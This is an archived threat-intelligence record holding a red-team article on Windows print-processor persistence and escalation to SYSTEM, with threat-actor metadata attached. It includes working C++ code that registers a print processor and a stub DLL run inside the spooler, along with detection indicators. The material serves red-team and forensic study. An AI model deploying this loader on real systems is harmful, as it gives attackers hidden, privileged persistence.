{
	"id": "3af6cf5f-0151-4614-8d87-fc22ec32e0e5",
	"created_at": "2026-04-06T00:16:45.529804Z",
	"updated_at": "2026-04-10T03:32:21.391838Z",
	"deleted_at": null,
	"sha1_hash": "39ecd7982fa9ac011adfffc4a1fa9ce6240b8c25",
	"title": "Persistence and Privilege Escalation on Windows via Print Processors",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 87788,
	"plain_text": "Persistence and Privilege Escalation on Windows via Print\r\nProcessors\r\nPublished: 2026-03-22 · Archived: 2026-04-05 20:30:04 UTC\r\nThis article demonstrates a persistence and/or privilege escalation tehcnique documented as “Print Processors”\r\nT1547.012 in the MITRE ATT\u0026CK [1] framework. It has been used in many attacks by Advanced Persistent\r\nThreats (APTs) such as Winnti [3], [6] and Gelsemium [4], [5]. The privilege escalation allows an attacker\r\nescalate from High integrity (Administrator) to System integrity (NT AUTHORITY\\SYSTEM). Particularly\r\ninteresting is the fact that it was used in the CCleaner [6] supply-chain attack. Direct or indirect references to this\r\ntechnique can also be found in [7] and [2].\r\nThis write-up aims to assist Red Teams reproduce this technique in Simulated Attack engagements and\r\ndemonstrate impact. It is useful from a DFIR perspective as it gives a little more context to investigators.\r\nThe article is layed out in the following sections:\r\nReview of the technique\r\nPrint Processor Installation Source Code\r\nPrint Processor DLL Source Code\r\nDetection Opportunities\r\nTools\r\nReferences\r\nReview of the technique\r\nTo perform this technique, the following are required:\r\na registry key that points to the print processor has to be created in\r\nHKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Print\\Environments\\%ARCHITECTURE%\\Print\r\nProcessors\\ (the path is architecture specific)\r\na call to GetPrintProcessorDirectory [8] to get the suitable directory for the print processor (architecture-specific)\r\na call to AddPrintProcessor to register the print processor\r\nthe print processor (implemented in a DLL) has to export [10] the functions:\r\nEnumPrintProcessorDatatypesW, OpenPrintProcessor, PrintDocumentOnPrintProcessor,\r\nClosePrintProcessor, ControlPrintProcessor and GetPrintProcessorCapabilities\r\nTo confirm what functions Print Spooler calls, Rohitab’s ApiMonitor shows the APIs:\r\nhttps://stmxcsr.com/persistence/print-processor.html\r\nPage 1 of 7\n\nPrint Processor Installation Source Code\r\nThe following code creates the required keys and values in\r\nHKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Print\\Environments\\Windows x64\\Print Processors\\\r\nand calls the AddPrintProcessor [9] API to register the print processor.\r\nINT CreateRegistryKeyPrintProcessor(WCHAR* lpData)\r\n{\r\n// lpData : DLL name\r\nLSTATUS status = -1;\r\nWCHAR lpSubKey[] = L\"SYSTEM\\\\CurrentControlSet\\\\Control\\\\Print\\\\Environments\\\\Windows x64\\\\Print Proces\r\nHKEY phkResult = 0;\r\nDWORD dwDisposition = 0;\r\nstatus = ::RegCreateKeyExW(HKEY_LOCAL_MACHINE, lpSubKey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_CREATE_S\r\nif (status)\r\n{\r\n::wprintf(L\"[-] RegCreateKeyExW has failed: %d\\n\", ::GetLastError());\r\nreturn status;\r\n}\r\nphkResult = 0;\r\nstatus = ::RegOpenKeyExW(HKEY_LOCAL_MACHINE, lpSubKey, 0, NULL, \u0026phkResult);\r\nif (status)\r\n{\r\n::wprintf(L\"[-] RegOpenKeyW has failed: %d\\n\", ::GetLastError());\r\nreturn status;\r\n}\r\nWCHAR lpValueName[] = L\"Driver\";\r\nstatus = ::RegSetKeyValueW(HKEY_LOCAL_MACHINE, lpSubKey, lpValueName, REG_SZ, lpData, wcslen(lpData)*2\r\nif (status)\r\n{\r\n::wprintf(L\"[-] RegSetKeyValueW has failed: %d\\n\", ::GetLastError());\r\nreturn status;\r\n}\r\nstatus = ::RegCloseKey(phkResult);\r\nhttps://stmxcsr.com/persistence/print-processor.html\r\nPage 2 of 7\n\nif (status)\r\n{\r\n::wprintf(L\"[-] RegCloseKey has failed: %d\\n\", ::GetLastError());\r\nreturn status;\r\n}\r\nreturn status;\r\n}\r\nBOOL PrintProcessorPersistence()\r\n{\r\nBOOL res = 0;\r\nWCHAR pPathName[] = L\"printprocessor.dll\";\r\nres = CreateRegistryKeyPrintProcessor(pPathName);\r\nif (res)\r\n{\r\n::wprintf(L\"[-] CreateRegistryKeyPrintProcessor has failed\\n\");\r\nreturn 0;\r\n}\r\nWCHAR pEnvironment[] = L\"Windows x64\";\r\nDWORD pcbNeeded = 0;\r\nGetPrintProcessorDirectoryW(NULL, pEnvironment, 1, NULL, NULL, \u0026pcbNeeded);\r\nWCHAR* pPrintProcessorInfo = new WCHAR[pcbNeeded];\r\nres = GetPrintProcessorDirectoryW(NULL, pEnvironment, 1, (LPBYTE)pPrintProcessorInfo, pcbNeeded, \u0026pcbNe\r\nif (res == 0)\r\n{\r\n::wprintf(L\"[-] GetPrintProcessorDirectory has failed: %d\\n\", GetLastError());\r\nreturn 0;\r\n}\r\n//::wprintf(L\"[+] pPrintProcessorInfo: %s\\n\", pPrintProcessorInfo);\r\n// AddPrintProcessor\r\nWCHAR pPrintPRocessorName[] = L\"Test Processor\";\r\nres = AddPrintProcessorW(NULL, pEnvironment, pPathName, pPrintPRocessorName);\r\nif (res == 0)\r\n{\r\n::wprintf(L\"[-] AddPrintProcessor has failed: %d\\n\", GetLastError());\r\nreturn 0;\r\n}\r\nreturn 1;\r\n}\r\nhttps://stmxcsr.com/persistence/print-processor.html\r\nPage 3 of 7\n\nINT wmain(INT argc, WCHAR** argv)\r\n{\r\nBOOL res = PrintProcessorPersistence();\r\nif (res == 0)\r\n{\r\n::wprintf(L\"[-] PrintProcessorPersistence has failed\\n\");\r\nreturn 0;\r\n}\r\nreturn 1\r\n}\r\nPrint Processor DLL Source Code\r\nThe DLL that implements the Print Processor has to export a number of functions [10]. As soon as the DLL is\r\nloaded in the address space of spoolsv.exe, the function EnumPrintProcessorDatatypesW is executed.\r\n#include \u003cwindows.h\u003e\r\n#include \u003cstdio.h\u003e\r\n#define DllExport __declspec(dllexport)\r\nextern \"C\" DllExport BOOL ClosePrintProcessor(HANDLE hPrintProcessor)\r\n{\r\nreturn 1;\r\n}\r\nextern \"C\" DllExport BOOL ControlPrintProcessor(HANDLE hPrintProcessor, DWORD Command)\r\n{\r\nreturn 1;\r\n}\r\nBOOL EnumPrintProcessorDatatypesW(LPWSTR pName, LPWSTR pPrintProcessorName, DWORD Level, LPBYTE pDatatypes, DWOR\r\n{\r\n// executes when DLL is loaded\r\nreturn 1;\r\n}\r\nextern \"C\" DllExport DWORD GetPrintProcessorCapabilities(LPTSTR pValueName, DWORD dwAttributes, LPBYT\r\n{\r\nreturn 0;\r\n}\r\ntypedef struct _PRINTPROCESSOROPENDATA {\r\nPDEVMODE pDevMode;\r\nLPWSTR pDatatype;\r\nhttps://stmxcsr.com/persistence/print-processor.html\r\nPage 4 of 7\n\nLPWSTR pParameters;\r\nLPWSTR pDocumentName;\r\nDWORD JobId;\r\nLPWSTR pOutputFile;\r\nLPWSTR pPrinterName;\r\n} PRINTPROCESSOROPENDATA, * PPRINTPROCESSOROPENDATA, * LPPRINTPROCESSOROPENDATA;\r\nextern \"C\" DllExport HANDLE OpenPrintProcessor(LPWSTR pPrinterName, PPRINTPROCESSOROPENDATA pPrintProcessorOp\r\n{\r\nreturn (HANDLE)11;\r\n}\r\nextern \"C\" DllExport BOOL PrintDocumentOnPrintProcessor(HANDLE hPrintProcessor, LPWSTR pDocumentName)\r\n{\r\nreturn 1;\r\n}\r\nint __cdecl PayloadFunction()\r\n{\r\n// debug\r\nCHAR msgbuf[50];\r\nsprintf_s(msgbuf, 50, \"[+] PayloadFunction was called\");\r\n::OutputDebugStringA(msgbuf);\r\nreturn 0;\r\n}\r\nBOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)\r\n{\r\nswitch (fdwReason)\r\n{\r\ncase DLL_PROCESS_ATTACH:\r\nPayloadFunction();\r\nbreak;\r\ncase DLL_THREAD_ATTACH:\r\ncase DLL_PROCESS_DETACH:\r\ncase DLL_THREAD_DETACH:\r\nbreak;\r\n}\r\nreturn 1;\r\n}\r\nDetection Opportunities\r\nEvents to monitor that could potentially indicate suspicious activity are:\r\nhttps://stmxcsr.com/persistence/print-processor.html\r\nPage 5 of 7\n\nAPI calls to AddPrintProcessor\r\nFile write events to ‘C:\\Windows\\system32\\spool\\PRTPROCS\\x64'\r\nRegistry key creation in\r\nHKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Print\\Environments\\Windows x64\\Print\r\nProcessors\\\r\nWith the aforementioned indicators in mind, hunting can be implemented in Windows environments. Non-default\r\nprint processors installed in a small number of hosts within an estate should be analyzed.\r\nAdditionally, for those familiar with VirusTotal Enterprise platform, the following search modifiers [11] will likely\r\nreturn malware Print Processor DLLs:\r\ntype:pedll exports:”EnumPrintProcessorDatatypesW” positives:30+\r\nThe above query looks for the exported function EnumPrintProcessorDatatypesW in DLL files that have 30 or\r\nmore detections by antivirus engines. As mentioned earlier, there are a number (actually six) funtions that should\r\nbe exported to successfully implement this technique and therefore additional function names can be used in the\r\nsearch.\r\nTools\r\nVisual Studio\r\nRohitab’s ApiMonitor\r\nSysInternals DebugView\r\nSysInternals ProcMon\r\nReferences\r\n[1] https://attack.mitre.org/techniques/T1547/012/\r\n[2] https://www.welivesecurity.com/wp-content/uploads/200x/white-papers/The_Evolution_of_TDL.pdf\r\n[3] https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/\r\n[4] https://www.welivesecurity.com/2021/06/09/gelsemium-when-threat-actors-go-gardening/\r\n[5] https://www.welivesecurity.com/wp-content/uploads/2021/06/eset_gelsemium.pdf\r\n[6] https://www.crowdstrike.com/blog/in-depth-analysis-of-the-ccleaner-backdoor-stage-2-dropper-and-its-payload/\r\n[7] https://www.hexacorn.com/blog/2019/05/26/plata-o-plomo-code-injections-execution-tricks/\r\n[8] https://docs.microsoft.com/en-us/windows/win32/printdocs/getprintprocessordirectory\r\n[9] https://docs.microsoft.com/en-us/windows/win32/printdocs/addprintprocessor\r\n[10] https://docs.microsoft.com/en-us/windows-hardware/drivers/print/functions-defined-by-print-processors\r\nhttps://stmxcsr.com/persistence/print-processor.html\r\nPage 6 of 7\n\n[11] https://support.virustotal.com/hc/en-us/articles/360001385897-File-search-modifiers\r\ntags: #persistence\r\nSource: https://stmxcsr.com/persistence/print-processor.html\r\nhttps://stmxcsr.com/persistence/print-processor.html\r\nPage 7 of 7",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"references": [
		"https://stmxcsr.com/persistence/print-processor.html"
	],
	"report_names": [
		"print-processor.html"
	],
	"threat_actors": [
		{
			"id": "2d4d2356-8f9e-464d-afc6-2403ce8cf424",
			"created_at": "2023-01-06T13:46:39.290101Z",
			"updated_at": "2026-04-10T02:00:03.275981Z",
			"deleted_at": null,
			"main_name": "Gelsemium",
			"aliases": [
				"狼毒草"
			],
			"source_name": "MISPGALAXY:Gelsemium",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		},
		{
			"id": "77874718-7ad2-4d15-9831-10935ab9bcbe",
			"created_at": "2022-10-25T15:50:23.619911Z",
			"updated_at": "2026-04-10T02:00:05.349462Z",
			"deleted_at": null,
			"main_name": "Gelsemium",
			"aliases": [
				"Gelsemium"
			],
			"source_name": "MITRE:Gelsemium",
			"tools": [
				"Gelsemium",
				"Mimikatz"
			],
			"source_id": "MITRE",
			"reports": null
		},
		{
			"id": "5bbced13-72f7-40dc-8c41-dcce75bf885e",
			"created_at": "2022-10-25T15:50:23.695735Z",
			"updated_at": "2026-04-10T02:00:05.335976Z",
			"deleted_at": null,
			"main_name": "Winnti Group",
			"aliases": [
				"Winnti Group"
			],
			"source_name": "MITRE:Winnti Group",
			"tools": [
				"PipeMon",
				"Winnti for Windows",
				"PlugX"
			],
			"source_id": "MITRE",
			"reports": null
		},
		{
			"id": "b5550c4e-943a-45ea-bf67-875b989ee4c4",
			"created_at": "2022-10-25T16:07:23.675771Z",
			"updated_at": "2026-04-10T02:00:04.707782Z",
			"deleted_at": null,
			"main_name": "Gelsemium",
			"aliases": [
				"Operation NightScout",
				"Operation TooHash"
			],
			"source_name": "ETDA:Gelsemium",
			"tools": [
				"ASPXSpy",
				"ASPXTool",
				"Agentemis",
				"BadPotato",
				"CHINACHOPPER",
				"China Chopper",
				"Chrommme",
				"Cobalt Strike",
				"CobaltStrike",
				"FireWood",
				"Gelsemine",
				"Gelsenicine",
				"Gelsevirine",
				"JuicyPotato",
				"OwlProxy",
				"Owowa",
				"SAMRID",
				"SessionManager",
				"SinoChopper",
				"SpoolFool",
				"SweetPotato",
				"WolfsBane",
				"cobeacon",
				"reGeorg"
			],
			"source_id": "ETDA",
			"reports": null
		},
		{
			"id": "4d5f939b-aea9-4a0e-8bff-003079a261ea",
			"created_at": "2023-01-06T13:46:39.04841Z",
			"updated_at": "2026-04-10T02:00:03.196806Z",
			"deleted_at": null,
			"main_name": "APT41",
			"aliases": [
				"WICKED PANDA",
				"BRONZE EXPORT",
				"Brass Typhoon",
				"TG-2633",
				"Leopard Typhoon",
				"G0096",
				"Grayfly",
				"BARIUM",
				"BRONZE ATLAS",
				"Red Kelpie",
				"G0044",
				"Earth Baku",
				"TA415",
				"WICKED SPIDER",
				"HOODOO",
				"Winnti",
				"Double Dragon"
			],
			"source_name": "MISPGALAXY:APT41",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		},
		{
			"id": "945a572f-ebe3-4e2f-a288-512fe751cfa8",
			"created_at": "2022-10-25T16:07:24.413971Z",
			"updated_at": "2026-04-10T02:00:04.97924Z",
			"deleted_at": null,
			"main_name": "Winnti Group",
			"aliases": [
				"G0044",
				"Leopard Typhoon",
				"Wicked Panda",
				"Winnti Group"
			],
			"source_name": "ETDA:Winnti Group",
			"tools": [
				"Agentemis",
				"BleDoor",
				"Cobalt Strike",
				"CobaltStrike",
				"FunnySwitch",
				"RbDoor",
				"RibDoor",
				"RouterGod",
				"Winnti",
				"cobeacon"
			],
			"source_id": "ETDA",
			"reports": null
		},
		{
			"id": "2a24d664-6a72-4b4c-9f54-1553b64c453c",
			"created_at": "2025-08-07T02:03:24.553048Z",
			"updated_at": "2026-04-10T02:00:03.787296Z",
			"deleted_at": null,
			"main_name": "BRONZE ATLAS",
			"aliases": [
				"APT41 ",
				"BARIUM ",
				"Blackfly ",
				"Brass Typhoon",
				"CTG-2633",
				"Earth Baku ",
				"GREF",
				"Group 72 ",
				"Red Kelpie ",
				"TA415 ",
				"TG-2633 ",
				"Wicked Panda ",
				"Winnti"
			],
			"source_name": "Secureworks:BRONZE ATLAS",
			"tools": [
				"Acehash",
				"CCleaner v5.33 backdoor",
				"ChinaChopper",
				"Cobalt Strike",
				"DUSTPAN",
				"Dicey MSDN",
				"Dodgebox",
				"ForkPlayground",
				"HUC Proxy Malware (Htran)"
			],
			"source_id": "Secureworks",
			"reports": null
		}
	],
	"ts_created_at": 1775434605,
	"ts_updated_at": 1775791941,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/39ecd7982fa9ac011adfffc4a1fa9ce6240b8c25.pdf",
		"text": "https://archive.orkl.eu/39ecd7982fa9ac011adfffc4a1fa9ce6240b8c25.txt",
		"img": "https://archive.orkl.eu/39ecd7982fa9ac011adfffc4a1fa9ce6240b8c25.jpg"
	}
}